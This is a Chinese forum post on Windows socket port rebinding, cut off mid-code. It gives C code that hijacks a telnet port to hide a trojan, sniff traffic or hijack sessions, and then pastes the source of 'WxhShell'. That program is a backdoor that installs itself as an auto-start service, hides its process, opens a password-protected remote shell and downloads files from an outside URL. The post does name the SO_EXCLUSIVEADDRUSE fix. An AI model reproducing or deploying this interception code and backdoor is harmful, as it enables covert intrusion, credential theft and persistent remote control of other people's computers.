社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14914阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9F2P(aS  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PWf{aHsr  
2x)0?N[$O  
  saddr.sin_family = AF_INET; ,H.(\p_N  
PY^^^01P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8C*6Fjb#  
Ft3N#!ubl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); i1b4 J  
3R)cbwL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y0/jH2n  
S1}1"y/  
  这意味着什么?意味着可以进行如下的攻击: qPFG+~\c  
t x:rj6 -z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jw:4fb  
, aRJ!AZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r*X}3t*  
D%c7JK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 w?V[[$  
8\qCj.>S  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &[?u1qQ%o  
$$2S*qY  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  At`1)  
% j[O&[s}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z$OF|ZZQ  
E3CiZ4=5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "TBQNWZ  
xZ9}8*Q&:  
  #include :GwSs'$O  
  #include 2a._?(k_y  
  #include 9B!im\]O  
  #include    4b3F9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   W2r6jm!  
  int main() QrNL7{  
  { ]MqH13`)A  
  WORD wVersionRequested; w8m8r`h  
  DWORD ret; @e.OU(Bf  
  WSADATA wsaData; jV,(P$ 5;  
  BOOL val; IyG = 7  
  SOCKADDR_IN saddr; yNhscAMNn  
  SOCKADDR_IN scaddr; )Dk0V!%N  
  int err; cXLV"d  
  SOCKET s; rZ8Y=) e  
  SOCKET sc; (n":] 8}  
  int caddsize; 3PvZ_!G  
  HANDLE mt; P`Hd*xh".j  
  DWORD tid;   w-0O j  
  wVersionRequested = MAKEWORD( 2, 2 ); t6<sNz F&  
  err = WSAStartup( wVersionRequested, &wsaData ); /XWPN(JC?  
  if ( err != 0 ) { Ie^Dn!0S  
  printf("error!WSAStartup failed!\n"); W%cj39$  
  return -1; !^>LOH>j  
  } LH3N}J({  
  saddr.sin_family = AF_INET; ADLa.{  
    qrkRD*a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 66^1&D"  
in=k:j,U0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ac5o K  
  saddr.sin_port = htons(23); O?j98H Sya  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &J6o$i  
  { RS||KA])J  
  printf("error!socket failed!\n"); L#7)X5a__  
  return -1; .q_uJ_qu-  
  } -CU7u=*b  
  val = TRUE; A]tf>H#1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Kh:#S|   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;G%wc!  
  { $+lz<~R  
  printf("error!setsockopt failed!\n"); 6yu*a_  
  return -1; )F%wwc^r  
  } D_yY0rRM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }l]3m=)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pU:C =hq4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 x;ICV%g/  
A1k&` |k   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :{wsd$Qlj  
  { 0XQ".:+h  
  ret=GetLastError(); BqLtTo?'  
  printf("error!bind failed!\n"); "x:)$@  
  return -1; o/  x5  
  } =XacG}_  
  listen(s,2); ~x0-iBF  
  while(1) U>L=.\\|  
  { 7/D9n9F  
  caddsize = sizeof(scaddr); siss_1J  
  //接受连接请求 I7q?V1f u4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k[r./xEv+t  
  if(sc!=INVALID_SOCKET) uhw5O9  
  { +/@ZnE9s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); RK~FT/  
  if(mt==NULL) shDt&_n  
  { HjUw[Yz+6  
  printf("Thread Creat Failed!\n"); JR a*;_  
  break; (}~eD  
  } wCq)w=,  
  } w371.84  
  CloseHandle(mt); Kc9mI>uH  
  } 4ye`;hXy  
  closesocket(s); ?(,5eg  
  WSACleanup(); e&H<lT  
  return 0; (1elF)  
  }   w}bEufU+2  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^+- L;XkeY  
  { Ghq'k:K,  
  SOCKET ss = (SOCKET)lpParam; 2=Y_Qrhi  
  SOCKET sc; \6`%NhkM_  
  unsigned char buf[4096]; ?2<6#>(7a  
  SOCKADDR_IN saddr; Ltic_cjYd?  
  long num; Ghgv RR$  
  DWORD val; St7D.|  
  DWORD ret; B GEJiLH  
  //如果是隐藏端口应用的话,可以在此处加一些判断 c>U{,z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   OuBMVn  
  saddr.sin_family = AF_INET; eX l%Qs#Y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); z W" 3K  
  saddr.sin_port = htons(23); MR)KLM0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '#4mDz~  
  { QzFv;  
  printf("error!socket failed!\n"); E9Xk8w'+  
  return -1; /_k hFw  
  } ,],JI|Rl8c  
  val = 100; UwL"%0u  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jzJ1+/9  
  { ]!tYrSM!  
  ret = GetLastError(); y9G57D  
  return -1; 3ciVjH>i  
  } 7ck0S+N'b  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p=`x  
  { hml\^I8Q>F  
  ret = GetLastError(); se n{f^U  
  return -1; ~gi( 1<#  
  } L$TKO,T  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >e$^# \D  
  { h4B#T'b  
  printf("error!socket connect failed!\n"); 2GD mZl  
  closesocket(sc); F&L?J_=  
  closesocket(ss); R 6yvpH  
  return -1; 602eLV)  
  } H`6Jq?\  
  while(1) S9"y@F <  
  { ANpY qV  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Zs$RKJ7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^$Eiz.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ay"2W%([`  
  num = recv(ss,buf,4096,0); B> " r-O  
  if(num>0) ,~N+?k_  
  send(sc,buf,num,0); #g`cih=QL  
  else if(num==0) kG;\i  
  break; !DX/^b  
  num = recv(sc,buf,4096,0); $Z7|t  
  if(num>0) W'2-3J  
  send(ss,buf,num,0); R:IS4AaS  
  else if(num==0) Lq $4.l[j  
  break; 2W:?#h3  
  } a@=36gx)  
  closesocket(ss); :{N3o:  
  closesocket(sc); \I,Dje/:w  
  return 0 ; NX{-D}1X=  
  } }Mb'tGW  
_F|_C5A  
x+:,b~Skk  
========================================================== 2wuW5H8w{  
zUUxxS_?  
下边附上一个代码,,WXhSHELL _~S^#ut+  
zju,#%  
========================================================== "MS`d+rf\  
a9EI7pnq  
#include "stdafx.h" *~<]|H5~  
E5[]eg~w%{  
#include <stdio.h> E=_B@VJknW  
#include <string.h> :: 72~'tw  
#include <windows.h> >yT@?!/Q>'  
#include <winsock2.h> `E0.PV  
#include <winsvc.h> AGJ=de.  
#include <urlmon.h> ]I' xLh`  
OD/P*CQ_  
#pragma comment (lib, "Ws2_32.lib") > %cWTC  
#pragma comment (lib, "urlmon.lib") 9@z|2z2\G  
% K7EF_%  
#define MAX_USER   100 // 最大客户端连接数 v/ 00L R  
#define BUF_SOCK   200 // sock buffer >RqT7n8h  
#define KEY_BUFF   255 // 输入 buffer y:[VRLo  
ZNC?Ntw  
#define REBOOT     0   // 重启 /2\= sTd  
#define SHUTDOWN   1   // 关机 gJFpEA {  
$*)(8Cl  
#define DEF_PORT   5000 // 监听端口 10I`AjF0  
b;;Kxi:7$}  
#define REG_LEN     16   // 注册表键长度 aj'8;E+  
#define SVC_LEN     80   // NT服务名长度 }L7F g%,  
J'^$|/Q  
// 从dll定义API 1> @|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F-7b`cF9[r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dj&m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >Hzb0N!VJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t?H;iBrpxd  
 H[!Q  
// wxhshell配置信息 f, j(uP  
struct WSCFG { u-M$45vct  
  int ws_port;         // 监听端口 )E~\H+FP6  
  char ws_passstr[REG_LEN]; // 口令 ;3?J#e6;  
  int ws_autoins;       // 安装标记, 1=yes 0=no "JLhOTPaHf  
  char ws_regname[REG_LEN]; // 注册表键名 |VR5Q(d  
  char ws_svcname[REG_LEN]; // 服务名 E?h2e~ ,]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GGQ(|?w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'W2$wN+P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TNT"2FoBd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GKx,6E#JM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @P5@ &G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VJtTbt;>  
<9.7gwzE  
}; +:Q/<^Z  
1;~1U9V  
// default Wxhshell configuration M j%|'dZz  
struct WSCFG wscfg={DEF_PORT, 1z@# 8_@  
    "xuhuanlingzhe", W]Tt8  
    1, XoQk'7"f  
    "Wxhshell", QRh4f\fY  
    "Wxhshell", nMdN$E  
            "WxhShell Service", ^5 =E`q".  
    "Wrsky Windows CmdShell Service", $JSC+o(q3#  
    "Please Input Your Password: ", QZa#i L  
  1, P 7.8tM2}  
  "http://www.wrsky.com/wxhshell.exe", ~+iJpW  
  "Wxhshell.exe" 3pjYY$'  
    }; Jas|P}{=fT  
{)gd|JV*  
// 消息定义模块 l3#dfW{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M9jo<+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -/2$P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3b[+m}UWQ  
char *msg_ws_ext="\n\rExit."; D!$ =oK  
char *msg_ws_end="\n\rQuit."; Vyq<T(5  
char *msg_ws_boot="\n\rReboot..."; ,u^0V"hJ  
char *msg_ws_poff="\n\rShutdown..."; #|1QA3KzO  
char *msg_ws_down="\n\rSave to "; Xg3[v3m|  
$AhX@|?z  
char *msg_ws_err="\n\rErr!"; 4m(>"dHP  
char *msg_ws_ok="\n\rOK!"; -R \ @W q@  
k3.p@8@:  
char ExeFile[MAX_PATH]; T9<nD"=:  
int nUser = 0; ?BvI/H5d  
HANDLE handles[MAX_USER]; j!o3g;j  
int OsIsNt; "LIii1]k  
(BQ3M-  
SERVICE_STATUS       serviceStatus; s /q5o@b{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s@[t5R  
U7%pOpO!  
// 函数声明 +4nR&1z$  
int Install(void); .EZ{d  
int Uninstall(void); f\r4[gU@  
int DownloadFile(char *sURL, SOCKET wsh); Zt0%E <C{  
int Boot(int flag); vFC=qLz:  
void HideProc(void); M`fXH 3D  
int GetOsVer(void); Cj9O [  
int Wxhshell(SOCKET wsl); iT9Ex9RL  
void TalkWithClient(void *cs); <$2zr4  
int CmdShell(SOCKET sock); ^o\p|f>f  
int StartFromService(void); 9v,8OK)  
int StartWxhshell(LPSTR lpCmdLine); m`q> _*  
!!O{ ppM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %FFm[[nxI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =\7p0cq&*  
NWN)b&}  
// 数据结构和表定义 `(suRp8!  
SERVICE_TABLE_ENTRY DispatchTable[] = `+;oo B  
{ zP'pfBgbJW  
{wscfg.ws_svcname, NTServiceMain}, < LAD  
{NULL, NULL} LVl0:!>~  
}; w} q@VVB%  
>6834e  
// 自我安装 Y]Vc}-a(h  
int Install(void) Zw\V}uXI?  
{ Wc>)/y5$  
  char svExeFile[MAX_PATH]; ,[1`'nN@g  
  HKEY key; koY8=lh/  
  strcpy(svExeFile,ExeFile); <+,0 G`  
VCRv(Ek  
// 如果是win9x系统,修改注册表设为自启动 tsVhPo]e0  
if(!OsIsNt) { cB=u;$k@*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3CPOZZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ic!83-  
  RegCloseKey(key); 2]*~1d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y[?Wt/O;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n<&R"89  
  RegCloseKey(key); &+^ Y>Ke  
  return 0; <qY>d,+E'  
    } EXzNehO~e  
  } [IA==B7  
} :FpBz~!a  
else { 6WcbJ_"mq  
Qs X59d  
// 如果是NT以上系统,安装为系统服务 ;*H~Yb0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )'|W[Sh?  
if (schSCManager!=0) nqJV1h  
{ bXLa~r4\  
  SC_HANDLE schService = CreateService Ayt!a+J  
  ( tKGsrgoV  
  schSCManager, ^WPV  
  wscfg.ws_svcname, +%9Y7qol  
  wscfg.ws_svcdisp, J c^ozw  
  SERVICE_ALL_ACCESS, f_XCO=8'v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :"IH*7xp  
  SERVICE_AUTO_START, <yO9j   
  SERVICE_ERROR_NORMAL, *sVxjZvV  
  svExeFile, { F8,^+b|  
  NULL, "*\3.`Kd  
  NULL, f(o`=% k8  
  NULL, Lf M(DK  
  NULL, rqJj!{<B  
  NULL 3h4"Rv=,  
  ); )!-'SH  
  if (schService!=0) o}Np}PE6  
  { FWTl:LqFO  
  CloseServiceHandle(schService); )/N! {`.9  
  CloseServiceHandle(schSCManager); P32'`!/:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bA,D]  
  strcat(svExeFile,wscfg.ws_svcname); wVtBeZa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $Ws2g*i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #eyx  
  RegCloseKey(key); ITUl -L4xE  
  return 0; (5;xs  
    } .e#j#tQp  
  } W78-'c  
  CloseServiceHandle(schSCManager); !,uw./8@Ku  
} `Db}q^mQ  
} M4\Io]}-M  
dL)5~V8s  
return 1; wuQkeWxJ  
} =K8h)B_g  
f+AIxSw  
// 自我卸载 2GS2,  
int Uninstall(void) "ZW*O{  
{ )\G#[Pc7  
  HKEY key; y-k-E/V}  
vb!KuI!:p  
if(!OsIsNt) { bYH_U4b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -v@^6bQVp  
  RegDeleteValue(key,wscfg.ws_regname); q)zvePO#  
  RegCloseKey(key); YaNVpLA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <qx-%6  
  RegDeleteValue(key,wscfg.ws_regname); O v6=|]cW  
  RegCloseKey(key); Big-)7?  
  return 0; J?$uNlI  
  } pl&GFf o  
} kk#d-! $[  
} M - TK  
else { uGWk(qn  
=&GV\ju  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i+3b)xtW7  
if (schSCManager!=0) 3I(H.u  
{  sOmYQ{R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )dcGV$4t[  
  if (schService!=0) *A`^ C  
  { 0AenDm@9  
  if(DeleteService(schService)!=0) { Qz;" b!  
  CloseServiceHandle(schService); rE~O}2a#H  
  CloseServiceHandle(schSCManager); t[~i})yS  
  return 0; / KM+PeO  
  } !<ucwWY,  
  CloseServiceHandle(schService); tWI hbt  
  } Y7HWf  
  CloseServiceHandle(schSCManager); YN[D^;}  
} ' ?t{-z,  
} t-/^O  
"p\KePc;@  
return 1; `0N/ /Q  
} \g/E4U .+  
:;QLoZh^  
// 从指定url下载文件 [MG:Ym).2`  
int DownloadFile(char *sURL, SOCKET wsh)  >TgO|mq  
{ l[Oxf|  
  HRESULT hr; -xlI'gNg7  
char seps[]= "/"; >EjBk nl  
char *token; b-XBs7OAx  
char *file; FliN@RNo  
char myURL[MAX_PATH]; "`zw(  
char myFILE[MAX_PATH]; |kD?^Nx  
j^M@0o  
strcpy(myURL,sURL); S1JB]\  
  token=strtok(myURL,seps); ga1RMRu+  
  while(token!=NULL) EIAT*l:NW  
  { J u7AxTf~  
    file=token; @*dA<N.9  
  token=strtok(NULL,seps); FS[CUoA  
  } O.!?O(  
RIlPH~  
GetCurrentDirectory(MAX_PATH,myFILE); xi0&"?7la  
strcat(myFILE, "\\"); z`CI gSR  
strcat(myFILE, file); zi'?FM[f)  
  send(wsh,myFILE,strlen(myFILE),0); xk9]jQ7  
send(wsh,"...",3,0); URwFNOM2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =n!8>8d  
  if(hr==S_OK) klKt^h-  
return 0; m6}"g[nN  
else NH/H+7,o  
return 1; Ghz)=3  
@EvnV.  
} h fNBWN  
-.y3:^){^  
// 系统电源模块 v{+*/NQ_  
int Boot(int flag) +%^D)   
{ [@)|j=:i:  
  HANDLE hToken; bbnAmZ   
  TOKEN_PRIVILEGES tkp; O<5bsKw'r  
Qw ED>G|  
  if(OsIsNt) { ZtiOf}@i\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &E~7ty'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m-K6y7t  
    tkp.PrivilegeCount = 1; _IGQ<U<z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; aG!!z>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^?,/_3  
if(flag==REBOOT) { k5 8lmuU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MLJ8m  
  return 0; ax$0J|}7  
} cuHs`{u@P  
else { y}|zH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +VfJ: [q  
  return 0; DvGtO)5._  
} %PQC9{hUy$  
  } N4r`czoj  
  else { SU1, +7"  
if(flag==REBOOT) { 6YN4]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Sx}h$E:  
  return 0; `8Gwf;P1  
} [Gu]p&  
else { =i.[|g"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \J6T:jeS,  
  return 0; X~x]VKr/  
} t C&Xm}:  
} _ ge3R3  
phTZUm i  
return 1; G[jCmkK  
} hFKYRZtP.8  
$`i&\O2*  
// win9x进程隐藏模块 @$aCUJ/mE  
void HideProc(void) 6w54+n  
{ ,]+6kf5  
y8sI @y6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <I} k%q'  
  if ( hKernel != NULL ) mu*wX'.'  
  { jjs-[g'}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -y~JNDS1]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }[1I_)  
    FreeLibrary(hKernel); j1g^Q$B>m  
  } y|X[NSA  
7XZ!UC;i  
return; PR Y)hb;1  
} |_-FQ~Hf F  
[scPs,5Y  
// 获取操作系统版本 2o,%O91p  
int GetOsVer(void) ^<< Wqmx  
{ OyVp 3O  
  OSVERSIONINFO winfo; Fw=-gb_.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xi-^_I  
  GetVersionEx(&winfo); <K)^MLgN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fO9e ;  
  return 1; ^ c:(HUo#  
  else Hkpn/,D5  
  return 0; U,/>p=s  
} mI l_ [  
H>VuUH|  
// 客户端句柄模块 e-Eoe_k  
int Wxhshell(SOCKET wsl) G.9?ApG9  
{ @]~\H-8  
  SOCKET wsh; XI pXP,Yy  
  struct sockaddr_in client; ;i1H {hB  
  DWORD myID; :.@gd7T  
z}Xn>-N-  
  while(nUser<MAX_USER) ?g!py[CrE  
{ norWNm(n  
  int nSize=sizeof(client); W"$'$ h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #[2]B8NZ  
  if(wsh==INVALID_SOCKET) return 1; b" p,~{  
7Rq;V=2YV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ($]y*| Obn  
if(handles[nUser]==0) 9NVe>\s_  
  closesocket(wsh); fAJQ8nb{@]  
else '9-8_;  
  nUser++; .F9>|Xx[  
  } D\>CEBt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S&9{kt|BI  
i_V~SC`  
  return 0; 55fV\3F|R  
} C^.:{  
R5qC;_0cV  
// 关闭 socket " GgK,d}%  
void CloseIt(SOCKET wsh) $/6.4" j  
{ n pBpYtG  
closesocket(wsh); dqnxhN+&  
nUser--; S=2-<R  
ExitThread(0); fk9FR^u  
} 9"oc.ue.2D  
EI]NOG 0  
// 客户端请求句柄 ']>@vo4kK{  
void TalkWithClient(void *cs) JhIgq W2  
{ S's\M5  
7\eN 8+  
  SOCKET wsh=(SOCKET)cs; -k= 02?0p+  
  char pwd[SVC_LEN]; we!}"'E;  
  char cmd[KEY_BUFF]; R9~%ORI#;  
char chr[1]; ?HttqK)  
int i,j; JZ'`.yK:  
MJb!+E+  
  while (nUser < MAX_USER) { Uk5jZ|  
)9,9yd~SI  
if(wscfg.ws_passstr) { eXUXoK=T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); : >4{m)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); byoDGUv  
  //ZeroMemory(pwd,KEY_BUFF); [P407Sa"  
      i=0; 6I"Q9(  
  while(i<SVC_LEN) { |lrLTI^a  
B<x)^[<v  
  // 设置超时 k~h'`(  
  fd_set FdRead; A2!7a}*1(  
  struct timeval TimeOut; YeK PoW  
  FD_ZERO(&FdRead); nxw]B"Eg  
  FD_SET(wsh,&FdRead); Z25^+)uf*U  
  TimeOut.tv_sec=8; pS;jrq I#  
  TimeOut.tv_usec=0; j-ZKEA{:1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I HgYgn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5Jlz$]f  
tUH#%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G ,An8GR%&  
  pwd=chr[0];  k/ls!e?  
  if(chr[0]==0xd || chr[0]==0xa) { W/OZ}ky}^  
  pwd=0; ](vOH#E  
  break; 1 ^TOTY  
  } .|;`qU o  
  i++; x~rIr#o  
    } aPWlV= oG  
_py%L+&{  
  // 如果是非法用户,关闭 socket lZ'-?xo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +eg$Z]Lht  
} 8lh{ R  
-=I*{dzly  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B>Mr /'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x!"S`AM  
qQv?J]l  
while(1) { *2Il{KO A^  
|MY6vRJ(  
  ZeroMemory(cmd,KEY_BUFF); .n'z\] -/Q  
ppP7jiGo  
      // 自动支持客户端 telnet标准   "X=l7{c/  
  j=0; =0cyGo  
  while(j<KEY_BUFF) { -y;SR+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -L}crQl.'c  
  cmd[j]=chr[0]; 89?$xm_m  
  if(chr[0]==0xa || chr[0]==0xd) { 1-!u=]JDE  
  cmd[j]=0; Ox#%Dm2  
  break; ^&>(_I\w.6  
  } "JzQCY^C  
  j++; ,dOd3y'y  
    } wM8Gz.9,  
UJ3l8 %/`k  
  // 下载文件 ~&8ag`  
  if(strstr(cmd,"http://")) { M#c.(QdF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -}_-#L!Q  
  if(DownloadFile(cmd,wsh)) -SnP+X!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n.Iu|,?q  
  else icLf; @  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^NKB  
  } *_ {w0U)  
  else { |#fqHON  
3R>U^ Y  
    switch(cmd[0]) { HdQd =q(  
  ~_OtbNj#  
  // 帮助 zZE 2%fqM  
  case '?': { R/&Bze  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,{!~rSq-l  
    break; 4RTuy+ M  
  } A8Tq2]"* S  
  // 安装 Ju4={^#  
  case 'i': { Lwm2:_\_b  
    if(Install()) @=B'<&g$Xv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )>abB?RZ  
    else :yO.Te F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u^&2T(xG i  
    break; P]hS0,sE<(  
    } 1$vsw  
  // 卸载 dP}=cZ~  
  case 'r': { KAH9?zI)M  
    if(Uninstall()) Op%}.9ed  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H*BzwbM?  
    else 8DHohhN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +dIDFSd  
    break; ('BFy>@  
    } OLp;eb1g  
  // 显示 wxhshell 所在路径 +MU|XT_5|6  
  case 'p': { aUUr&yf_L  
    char svExeFile[MAX_PATH]; ;dgxeP;mp  
    strcpy(svExeFile,"\n\r"); # Un>g4>Rh  
      strcat(svExeFile,ExeFile); :I*G tq   
        send(wsh,svExeFile,strlen(svExeFile),0); 7)aitDD  
    break; o\6A]T=R  
    } f.SV-{O_  
  // 重启 x@/ N9*  
  case 'b': { f Glvx~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); No#1Ikw  
    if(Boot(REBOOT)) %GG:F^X#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t ' _Au8  
    else { p w(eWP  
    closesocket(wsh); r6k0=6i  
